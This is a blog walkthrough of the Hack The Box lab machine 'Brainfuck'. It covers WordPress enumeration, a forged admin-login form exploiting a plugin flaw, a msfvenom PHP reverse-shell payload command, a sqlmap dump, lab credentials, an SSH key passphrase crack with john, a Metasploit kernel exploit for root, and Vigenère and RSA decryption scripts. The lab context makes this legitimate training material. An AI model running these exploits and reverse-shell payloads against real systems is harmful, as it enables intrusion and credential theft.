Brainfuck – Hack The Box


Alright, I have to mention this one has intimidated me. It has a level of “insane.”

Let’s start. A simple portscan reveals the following open ports:

$ nmap
Starting Nmap 7.93 ( ) at 2023-01-08 06:38 EST
Nmap scan report for
Host is up (0.023s latency).
Not shown: 995 filtered tcp ports (no-response)
22/tcp open ssh
25/tcp open smtp
110/tcp open pop3
143/tcp open imap
443/tcp open https

The SSL cert points to brainfuck.htb, so we better add that to the /etc/hosts file: brainfuck.htb

It seems that it runs a WordPress installation, with a cryptic message: “SMTP Integration is ready. Please check and send feedback to orestis@brainfuck.htb”. Some really guess:

  1. Gain access and upload a web shell?
  2. Do something with port 25 as user orestis?

At least we know that the admin user is called “admin”. Otherwise, our very helpful login page tells us that the user doesn’t exist:

Using wpscan we find the following helpful information:

$ wpscan --disable-tls-checks --url "https://brainfuck.htb/"
[+] XML-RPC seems to be enabled: https://brainfuck.htb/xmlrpc.php
[+] WordPress readme found: https://brainfuck.htb/readme.html
[+] The external WP-Cron seems to be enabled: https://brainfuck.htb/wp-cron.php
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
[+] WordPress theme in use: proficient
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[+] wp-support-plus-responsive-ticket-system version 7.1.3

Nice, a smörgåsboard of possibilities. The plugin “Support Plus Responsive Ticket System 7.1.3” has two public exploits:

  1. Privilege Escalation:
  2. SQL Injection:

Let’s try to authenticate as admin using the following HTML code:

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="admin">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">

Oui oui, je suis admin!

Now let’s create a nice Meterpreter reverse_tcp PHP payload:

$ msfvenom -p php/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw -o shelly.php

And paste it in the bottom of footer.php at https://brainfuck.htb/wp-admin/theme-editor.php?file=footer.php&theme=proficient

Oh wait, there is no save button. Oh wait, the file is not writable! Argh… You see, guys, I’m not making this up. This is me trying to solve the CTF in real-time.

Let’s try the SQL injection vulnerability. Maybe helpful something is hidden in the depths of MySQL.

According to the exploit, the POST parameter “cat_id” in the wp/admin/admin-ajax.php path is vulnerable. This sqlmap command dumps the database:

sqlmap --dbms=mysql -u "https://brainfuck.htb/wp-admin/admin-ajax.php" --method POST --data "action=wpsp_getCatName&cat_id=0" -p cat_id --cookie='PASTE_HERE_COOKIES_FROM_AN_AUTHENTICATED_SESSION' --level 3 --risk 3 --dump

This will take some time, get some coffee and watch a couple of Mr. Robot episodes on Netflix. There are probably more efficient ways of extracting the database, but I feel lazy right now.

Oh wait (again), while lazy-browsing around I found this page, containing the following SMTP credentials at https://brainfuck.htb/wp-admin/options-general.php?page=swpsmtp_settings

SMTP username: orestis
SMTP password: kHGuERB29DNiNE

Using these credentials, we can authenticate towards the POP3 server (likely also the IMAP) using Thunderbird and fetch the emails for user orestis. There is an interesting message from root:

Hi there, your credentials for our "secret" forum are below 😄

username: orestis
password: kIEnnfEKJ#9UmdO


Looking at the SSL certificate for brainfuck.htb we can find the “secret” forum:

$ echo "" | openssl s_client -connect brainfuck.htb:443 > cert.key; openssl x509 -in cert.key -text -noout | grep DNS
DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

Which we add to /etc/hosts and visit the URL https://sup3rs3cr3t.brainfuck.htb/

After we authenticate using the aforementioned credentials, we see the following interesting conversation in the forum at https://sup3rs3cr3t.brainfuck.htb/d/3-key

This looks like a cipher. If we look at orestis’ profile, we can see he always signs his messages with the following:

Orestis - Hacking for fun and profit
Pieagnm - Jkoijeg nbw zwx mle grwsnn
Wejmvse - Fbtkqal zqb rso rnl cwihsf
Qbqquzs - Pnhekxs dpi fca fhf zdmgzt

We can safely assume that these strings mean the same thing. Knowing a common factor across several messages is partially how Rejewski cracked the Enigma cipher. Do we have something similar here?

We can also safely assume that this is the link to the SSH key, and thus something like:


Now let’s try to solve this. If we calculate the distances and arrange them like so, we can see a kind of pattern:

If we try to fill in the blanks, and “re-arrange” the parts of the sequence that repeat, we get something like this:

After many hours of sweat and tears (aka decoding a small piece, using it to get new offsets, decoding another small piece, etc…), I finally managed to decode the messages by writing a small PHP script (why PHP? I hate snakes):

$key = [21,6,24,16,14,2,25,9,0,18,13]; # Same as above but modulo 26.

$texts = [];
$texts []= "Mya qutf de buj otv rms dy srd vkdof :) Pieagnm - Jkoijeg nbw zwx mle grwsnn";
$texts []= "Xua zxcbje iai c leer nzgpg ii uy...";
$texts []= "Ufgoqcbje.... Wejmvse - Fbtkqal zqb rso rnl cwihsf";
$texts []= "Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :) mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja";
$texts []= "Si rbazmvm, Q'yq vtefc gfrkr nn ;) Qbqquzs - Pnhekxs dpi fca fhf zdmgzt";

foreach ($texts as $text) {
    $di = 0;
    for ($i = 0; $i < strlen($text); $i++) {
        if (ctype_alpha($text[$i])) {
            $c = ord($text[$i]);
            $shift = $key[$di++ % count($key)];
            $cn = $c + $shift;

            if ($c >= ord("a") && $c <= ord("z")) {
                while ($cn < ord("a")) $cn += 26;
                while ($cn > ord("z")) $cn -= 26;
            } else if ($c >= ord("A") && $c <= ord("Z")) {
                while ($cn < ord("A")) $cn += 26;
                while ($cn > ord("Z")) $cn -= 26;

            echo chr( $cn );

        } else {
            echo $text[$i];
    echo "\n";

It is sort-off a XOR cipher, but with modulo 26 addition instead of XOR and offset by the ASCII value for “a” or “A.”

PS from the next day: Apparently, this is the “Vigenère cipher,” and the password is “FUCKMYBRAIN.” Look at this beauty:

$ php -r 'foreach (str_split("FUCKMYBRAIN") as $c) echo (1+ord("Z")-ord($c)).",";';
21,6,24,16,14,2,25,9,26,18,13, # Same as I came up with

I’m proud that I managed to solve it without any knowledge of what a Vigenère cipher is.

Running my script gives us the solution:

$ php decode.php 
Hey give me the url for my key bitch :) Orestis - Hacking for fun and profit
Say please and i just might do so...
Pleeeease.... Orestis - Hacking for fun and profit
There you go you stupid fuck, I hope you remember your key password because I dont :) https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
No problem, I'll brute force it ;) Orestis - Hacking for fun and profit

Don’t you love their chemistry? I certainly do.

Anyways, now we can download the private key and try login to the machine using SSH:

$ wget --no-check-certificate https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
$ chmod 600 id_rsa
$ ssh -l orestis -i id_rsa brainfuck.htb
Enter passphrase for key 'id_rsa':

Oh well, fuck. We have to brute force the private key password:

$ ssh2john id_rsa > id_rsa.john
$ john id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
3poulakia! (id_rsa)

And the password has been found. By the way, it means “3 small birds” in Greek. Που κάθονταν τα τρια πουλάκια ρε μεγάλε Ορέστη;

May we finally log in to the machine?

$ ssh -l orestis -i id_rsa brainfuck.htb      
Enter passphrase for key 'id_rsa': (3poulakia!)
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:
 * Management:
 * Support:

0 packages can be updated.
0 updates are security updates.

You have mail.
Last login: Mon Oct  3 19:41:38 2022 from
orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

YES! And the user flag is:

$ cat user.txt

Now let’s get root.

Ehm, I got root very quickly. I don’t think this was the intended path (old machine/new exploits). Basically, I upgraded to a meterpreter shell, ran the post/multi/recon/local_exploit_suggester module, and then ran the exploit/linux/local/bpf_sign_extension_priv_esc module, which was one of the many exploits suggested. I instantly got root, and the flag was right there:

meterpreter > cat /root/root.txt

But let’s try to get root the way we were intended to. If we look in orestis’ home dir, there is a script named encrypt.sage that encrypts the root flag and saves it in /home/orestis/output.txt. It looks like an RSA encryption implementation in SageMath. SageMath is a Python-based open-source scripting language for mathematicians. All the information, including the p, q and e keys used during encryption, are available in /home/orestis/debug.txt.

nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)

n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)

c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')

Using the information available, I wrote another SageMath script that decrypts the root flag:

# The encrypted message
c = Integer(int(open("output.txt").read().split(" ")[2].strip()));

# Values that were used during encryption
p = Integer(int(open("debug.txt").read().split('\n')[0].strip()));
q = Integer(int(open("debug.txt").read().split('\n')[1].strip()));
e = Integer(int(open("debug.txt").read().split('\n')[2].strip()));
phi = (p-1)*(q-1)
n = p*q

# In RSA, the decryption key d is the multiplicative inverse of e.
# We compute is as such:
d = pow(e, -1, phi)

# And thus the remainder of e*d dividing phi must be equal to 1:
print "This must be equal to 1: " + str((e*d) % phi)

# Now that we have the decryption key d we decrypt message c as such:
m = pow(c, d, n)

print "Root flag: " + ('%x' % int(m)).decode('hex')

And tada, we get the same key once again:

$ sage decrypt.sage
This must be equal to 1: 1
Root flag: 6efc********************************

What did we learn from this box? Two things for me:

  1. Even “insane” machines have a solution given enough time.
  2. Older machines are most certainly easier to root using new exploits and vulnerabilities, but maybe I should stick to the intended path if I want to learn something.

Leave a Comment